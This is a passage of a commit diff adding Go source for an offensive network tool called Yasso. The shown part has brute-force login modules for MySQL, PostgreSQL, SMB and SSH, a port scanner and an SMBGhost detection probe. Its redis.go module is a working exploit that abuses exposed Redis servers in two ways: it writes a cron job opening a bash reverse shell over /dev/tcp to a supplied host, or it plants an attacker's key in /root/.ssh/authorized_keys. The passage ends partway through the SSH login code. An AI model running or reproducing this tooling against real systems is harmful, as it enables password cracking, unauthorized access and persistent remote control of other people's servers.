MysqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
MysqlCmd.Flags().BoolVar(&SQLShellBool,"shell",false,"create sql shell to exec sql command")
}
// mysql 连接
func MySQLConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){
var flag = false
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",user,pass,info.Host,info.Port,time.Duration(info.TimeOut))
mysql.RegisterDialContext("tcp", func(ctx context.Context,network string) (net.Conn, error) {
return GetConn(network,info.TimeOut)
})
db, err := sql.Open("mysql",address)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
//defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return db,flag,err
}

62
cmd/postgres.go Normal file
View File

@@ -0,0 +1,62 @@
package cmd
import (
"Yasso/config"
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"time"
)
var PostgreCmd = &cobra.Command{
Use: "postgres",
Short: "PostgreSQL burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BrutePostgreByUser()
}
},
}
func BrutePostgreByUser(){
if BrutePort == 0 {
BrutePort = 5432
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("postgres",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [postgres]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("postgres",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func PostgreConn(info config.HostIn,user,pass string)(bool, error){
var flag = false
db, err := sql.Open("postgres",fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v",user,pass,info.Host,info.Port,"postgres","disable"))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return flag,err
}

144
cmd/ps.go Normal file
View File

@@ -0,0 +1,144 @@
package cmd
import (
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"math"
"net"
"sync"
"time"
)
var (
DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017"
//AlivePort []PortResult
)
type PortResult struct {
IP string
Port []int
}
var PortCmd = &cobra.Command{
Use: "ps",
Short: "The port scanning module will find vulnerable ports (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts ,_ := ResolveIPS(Hosts) // 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
}else{
ports ,_ = ResolvePORTS(DefaultPorts)
}
Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port",len(hosts),len(hosts) * len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
var AlivePort []PortResult
AlivePort = PortScan(hosts,ports)
for _,rs := range AlivePort {
Println(fmt.Sprintf("%v %v",rs.IP,rs.Port))
}
},
}
func init(){
PortCmd.Flags().DurationVarP(&TimeDuration,"time","t",500 * time.Millisecond,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
PortCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
PortCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
PortCmd.Flags().IntVarP(&Runtime,"runtime","r",100,"Set scanner ants pool thread")
rootCmd.AddCommand(PortCmd)
}
// port scanner
func PortScan(host []string,ports []int) []PortResult{
var tempPort []PortResult
var wg sync.WaitGroup
go func() {
for _,ip := range host{
tunnel <- ip
}
}()
for i:=0;i<len(host);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
aport := EachScan(ip,ports)
//Println()(aport)
if len(aport) != 0 {
// 扫描完成,加入扫描结果队列
tempPort = append(tempPort,PortResult{ip,aport})
} // 将ip赋值给AlivePort*/
wg.Done()
})
}
wg.Wait()
return tempPort
}
func EachScan(host string,ports[]int)[]int{
var aport []int
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
}else{
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i:=1;i <= thread;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i],ports[tmp])
}
}
}
//Println()(all)
for i:= 1 ; i <=thread ; i++{
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
// 1,2 2,3
//Println()(i,thread)
for _,port := range tmp {
// 遍历每一个端口列表
if portConn(host,port) {
aport = append(aport, port) // 端口返回true开放加入aport列表
Println(fmt.Sprintf("[+] %v %v open",host,port))
}
}
wg.Done()
})
}
wg.Wait()
return aport
}
func portConn(addr string,port int) bool{
conn, err := net.DialTimeout("tcp",fmt.Sprintf("%s:%v",addr,port),TimeDuration)
defer func() {
if conn != nil {
_ = conn.Close()
}
}()
if err == nil {
return true
}else{
return false
}
}

416
cmd/redis.go Normal file
View File

@@ -0,0 +1,416 @@
package cmd
// redis 6379 端口
import (
"Yasso/config"
"bufio"
"errors"
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"strings"
"time"
)
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Redis burst and Redis extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
BruteRedisByUser()
}
},
}
var (
RemoteHost string
RemotePublicKey string
)
func init(){
RedisCmd.Flags().StringVar(&RemotePublicKey,"rekey","","Write public key to Redis (eg.) id_rsa.pub")
RedisCmd.Flags().StringVar(&RemoteHost,"rebound","","Rebound shell address (eg.) 192.168.1.1:4444")
RedisCmd.Flags().StringVar(&ConnHost,"hostname","","Redis will connect this address")
RedisCmd.Flags().StringVar(&LoginPass,"pass","","set login pass")
}
func BruteRedisByUser(){
if BrutePort == 0 {
BrutePort = 6379
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("redis",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [redis]")
Println(Clearln+"[*] Redis Authorized crack")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("redis",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != ""){
var (
conn net.Conn
status bool
err error
)
if LoginPass != "" {
conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},"",LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis Auth failed %v",err))
}
}else{
conn,status,err = RedisUnAuthConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},"",LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis UnAuth failed %v",err))
}
}
if status == true {
RedisExploit(conn,RemoteHost,RemotePublicKey)
}
}else{
Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound")
}
}
// redis config
type RedisConfig struct {
OS string
PID string
ConfigPath string
Version string
DbFileName string
}
func RedisAuthConn(info config.HostIn,user,pass string)(net.Conn,bool,error) {
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return conn,false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn,false,err
}
// 认证
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return conn,false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn,false,err
}
if strings.Contains(reply,"+OK") {
flag = true
conf := RedisInfo(conn,reply)
Println(fmt.Sprintf(Clearln + "[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]",info.Host,info.Port,conf.OS,conf.ConfigPath,conf.DbFileName,conf.PID))
}
return conn,flag,nil
}
func RedisUnAuthConn(info config.HostIn,user,pass string)(net.Conn,bool,error){
_,_ = user,pass
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return conn,false,err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn,false,err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return conn,false,err
}
reply, err := RedisReply(conn)
if err != nil {
return conn,false, err
}
if strings.Contains(reply,"redis_version") {
flag = true
conf := RedisInfo(conn,reply)
Println(fmt.Sprintf(Clearln + "[+] Redis %s:%v unauthorized\n[+] os:[%v] path:[%v] dbfilename:[%v] pid:[%v]",info.Host,info.Port,conf.OS,conf.ConfigPath,conf.DbFileName,conf.PID))
}
return conn,flag,nil
}
func RedisReply(conn net.Conn) (string, error) {
var (
r string
err error
)
buf := make([]byte, 5 * 1024)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
r += string(buf[0:count])
if count < 5 * 1024 {
break
}
}
return r, err
}
// redis get info
func RedisInfo(conn net.Conn,reply string) RedisConfig {
var (
// 第0个是#Server
version = strings.Split(strings.Split(reply,"\r\n")[2],":")[1] // redis version
os = strings.Split(strings.Split(reply,"\r\n")[7],":")[1] // os
pid = strings.Split(strings.Split(reply,"\r\n")[11],":")[1] // redis pid
install = strings.Split(strings.Split(reply,"\r\n")[18],":")[1]
dbfilename string
)
// 读取filename
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return RedisConfig{}
}
text, err := RedisReply(conn)
if err != nil {
return RedisConfig{}
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
}else{
dbfilename = text1[0]
}
var redisConfig = RedisConfig{
Version: version,
OS: os,
PID: pid,
ConfigPath: install,
DbFileName: dbfilename,
}
//Println()(redisConfig)
return redisConfig
}
// 测试利用写入是否可用
func RedisWrite(conn net.Conn)(cron bool,ssh bool,err error){
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false,false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply,"OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false,ssh,err
}
reply, err = RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply,"OK") {
cron = true
}
return cron,ssh,nil
}
// 计划任务写入
func RedisExploit(conn net.Conn,RemoteHost string,Filename string){
// 测试写入
cron,ssh,err := RedisWrite(conn)
// 上述返回3个值返回c,s,e,c是corn的值s是ssh写入e是err
if err != nil {
Println(fmt.Sprintf("Redis Write Testing failed %v",err))
return
}
var (
status bool
)
if RemoteHost != "" && cron == true {
status,err = RedisCron(conn,RemoteHost)
if status == true {
Println("[+] Write Rebound shell address Success")
return
}else{
Println("[x] Redis Write Rebound shell address failed")
return
}
}
if Filename != "" && ssh == true {
status, err = RedisKey(conn,Filename)
if status == true {
Println("[+] Write ssh key Success")
return
}else{
Println("[x] Redis ssh key failed")
return
}
}
}
func RedisCron(conn net.Conn,RemoteHost string) (bool ,error){
c,s, e := RedisWrite(conn)
Println(fmt.Sprintf("%v %v %v",c,s,e))
// 先解析RemoteHost参数
var (
remote = strings.Split(RemoteHost, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host , port = remote[0],remote[1]
}else{
return false,errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil{
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
// 数据库设置成功
if strings.Contains(reply,"+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",host,port)))
if err != nil {
return false,err
}
reply , err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false,err
}
reply , err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK") {
flag = true
}
}
}
}
return flag,nil
}
// 公钥写入
func RedisKey(conn net.Conn,filename string)(bool,error){
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false,err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply,"OK"){
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false,err
}
reply, err := RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
key, err := ReadKeyFile(filename)
if err != nil {
return false,err
}
if len(key) == 0 {
return false,errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
flag = true
}
}
}
}
return flag,nil
}
func ReadKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}

158
cmd/resolve.go Normal file
View File

@@ -0,0 +1,158 @@
package cmd
import (
"errors"
"net"
"regexp"
"strconv"
"strings"
)
func ResolveIPS(ip string)([]string,error){
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Contains(ip,"/"):
return resolveIP(ip)
case strings.Count(ip,"-") == 1:
return resolveIPC(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return []string{},err
}
return []string{ip},nil
default:
var isip = net.ParseIP(ip)
if isip == nil {
return []string{},errors.New("input format is not ccorrect")
}
return []string{ip},nil
}
}
// 解析192.168.1.1/*的格式
func resolveIP(ip string)([]string, error){
var ip4 = net.ParseIP(strings.Split(ip,"/")[0]) // [192.168.1.1 *]
if ip4 == nil {
return []string{},errors.New("not an ipv4 address")
}
var footmark = strings.Split(ip,"/")[1] // *
var temp []string
var err error
switch footmark {
case "24":
var ip3 = strings.Join(strings.Split(ip[:len(ip)],".")[0:3],".")
for i:=0;i<=255;i++{
temp = append(temp,ip3+"."+strconv.Itoa(i))
}
err = nil
case "16":
var ip2 = strings.Join(strings.Split(ip[:len(ip)],".")[0:2],".")
for i:=0;i<=255;i++{
for j:=0;j<=255;j++{
temp = append(temp,ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
}
}
err = nil
default:
temp = []string{}
err = errors.New("not currently supported")
}
return temp,err
}
// 解析192.168.1.1-*格式
func resolveIPC(ip string)([]string, error){
var ip4 = strings.Split(ip,"-")
var ipA = net.ParseIP(ip4[0])
if ip4 == nil {
return []string{},errors.New("not an ipv4 address")
}
var temp []string
if len(ip4[1]) < 4 {
iprange, err := strconv.Atoi(ip4[1])
if ipA == nil || iprange > 255 || err != nil {
return []string{},errors.New("input format is not ccorrect")
}
var splitip = strings.Split(ip4[0],".")
ip1, err1 := strconv.Atoi(splitip[3])
ip2, err2 := strconv.Atoi(ip4[1])
prefixip := strings.Join(splitip[0:3],".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{},errors.New("input format is not ccorrect")
}
for i:=ip1;i<=ip2;i++{
temp = append(temp,prefixip + "." + strconv.Itoa(i))
}
}else{
var splitip1 = strings.Split(ip4[0],".")
var splitip2 = strings.Split(ip4[1],".")
if len(splitip1) != 4 || len(splitip2) != 4 {
return []string{},errors.New("input format is not ccorrect")
}
start, end := [4]int{},[4]int{}
for i:= 0;i < 4 ;i++{
ip1, err1 := strconv.Atoi(splitip1[i])
ip2, err2 := strconv.Atoi(splitip2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{},errors.New("input format is not ccorrect")
}
start[i],end[i] = ip1,ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
temp = append(temp, ip)
}
}
return temp,nil
}
func RemoveDuplicate(old []int) []int {
result := make([]int, 0, len(old))
temp := map[int]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// 解析为445,69,72-15这种以逗号隔开的端口
func ResolvePORTS(ports string)([]int,error){
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
scanPorts = RemoveDuplicate(scanPorts)
return scanPorts,nil
}

44
cmd/root.go Normal file
View File

@@ -0,0 +1,44 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"os"
"time"
)
var (
TimeDuration time.Duration // 超时时间
Hosts string // 全局host变量
RunICMP bool // 是否执行ICMP
Ports string // 需要解析的端口
Runtime int // 运行的线程
LogBool bool // 是否使用日志
PingBool bool // 是否执行ping操作
UserDic string // 爆破的用户名路径
PassDic string // 爆破的密码路径
BruteFlag bool // 是否进行爆破
ConnHost string // 单独变量的链接地址
BrutePort int // 爆破使用的端口
LoginUser string // 登陆使用的用户
LoginPass string // 登陆使用的密码
LoginPublicKey string // 登陆使用的公钥路径
ProxyHost string // 代理地址 user:pass@ip:port 格式
SQLShellBool bool // 是否启动sql—shell
SQLCommand string // sql语句单条命令行
WinRMbool bool // winrm shell
)
var rootCmd = &cobra.Command{
Use: "Yasso",
Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n",
}
func Execute(){
if err := rootCmd.Execute();err != nil {
Println(fmt.Sprintf("%v",err))
os.Exit(1)
}
}

92
cmd/smb.go Normal file
View File

@@ -0,0 +1,92 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/stacktitan/smb/smb"
"time"
)
/*
模块完成时间2021年12月28日主要用于smb爆破扫描445端口,似乎不能走socks5代理
*/
var SmbCmd = &cobra.Command{
Use: "smb",
Short: "Smb burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteSmbByUser()
}
},
}
func BruteSmbByUser(){
if BrutePort == 0 {
BrutePort = 445
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("smb",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [smb]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("smb",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func SmbConn(info config.HostIn,user,pass string)(bool,error){
signal := make(chan struct{})
var (
flag bool
err error
)
go func() {
flag, err = DialSmbTimeOut(info,user,pass,signal)
}()
select {
case <- signal:
return flag,err
case <-time.After(1 * time.Second):
return false,errors.New("smb conn time out")
}
}
func DialSmbTimeOut(info config.HostIn,user,pass string,signal chan struct{}) (bool, error){
var flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: info.Domain,
Workstation: "",
}
session, err := smb.NewSession(options,false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag,err
}

120
cmd/smbghost.go Normal file
View File

@@ -0,0 +1,120 @@
package cmd
import (
"Yasso/config"
"bytes"
"fmt"
"time"
)
const (
pkt =
"\x00" + // session
"\x00\x00\xc0"+ // legth
"\xfeSMB@\x00"+ // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhostConn(info config.HostIn) bool {
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return false
}else{
defer conn.Close()
conn.Write([]byte(pkt))
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, err := conn.Read(buff)
if err != nil {
//Println(err.Error()) // Profound analysis
}
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
Println(fmt.Sprintf("[+] %s Find CVE-2020-0796",info.Host))
return true
} else {
//Println(ip + " Not Vulnerable")
return false
}
}
}

198
cmd/ssh.go Normal file
View File

@@ -0,0 +1,198 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"io/ioutil"
"os"
"path"
)
/*
模块完成时间2021年12月28日主要用于ssh爆破连接扫描22端口
*/
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "SSH burst and SSH extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
BruteSshByUser()
}
},
}
func init(){
SshCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)")
SshCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
SshCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
SshCmd.Flags().StringVar(&LoginPublicKey,"key","","ssh public key path")
}
func BruteSshByUser() {
if BrutePort == 0 {
BrutePort = 22
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("ssh",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [ssh]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("ssh",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
if LoginUser != "" && LoginPass != "" {
client,status,err := SshConnByUser(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err))
return
}
if status == true {
//认证成功
SshLogin(client)
}else {
Println(Clearln + "[-] The username or password is incorrect")
return
}
}
if LoginPublicKey != "" && LoginUser != "" {
client,status, err := sshConnByKey(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration,PublicKey: LoginPublicKey},LoginUser)
if err != nil {
Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err))
return
}
if status == true {
//认证成功
SshLogin(client)
return
}else {
Println(Clearln + "[-] The username or password is incorrect")
return
}
}
}
if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == ""){
Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
return
}
}
func SshConnByUser(info config.HostIn,user,pass string)(*ssh.Client,bool,error){
// 走socks5代理的ssh连接
sshConfig := &ssh.ClientConfig{User: user,Auth: []ssh.AuthMethod{ssh.Password(pass)},HostKeyCallback: ssh.InsecureIgnoreHostKey(),Timeout:info.TimeOut}
con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return nil,false,err
}
c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig)
if err != nil {
return nil,false,err
}
return ssh.NewClient(c,ch,re),true,err
}
func sshConnByKey(info config.HostIn,user string)(*ssh.Client,bool,error){
var (
err error
HomePath string
key []byte
)
switch {
case info.PublicKey == "":
HomePath, err = os.UserHomeDir()
if err != nil {
return nil,false,err
}
key, err = ioutil.ReadFile(path.Join(HomePath,".ssh","id_rsa"))
if err != nil {
return nil,false,err
}
case info.PublicKey != "":
key, err = ioutil.ReadFile(info.PublicKey)
if err != nil {
return nil,false,err
}
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
return nil,false,err
}
sshConfig := &ssh.ClientConfig{
User: user,
Auth:[]ssh.AuthMethod{
ssh.PublicKeys(signer),
},
Timeout: info.TimeOut,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return nil,false,err
}
c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig)
if err != nil {
return nil,false,err
}
return ssh.NewClient(c,ch,re),true,err
}
// ssh 完全交互式登陆
func SshLogin(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
Println(fmt.Sprintf("new ssh session failed %v",err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
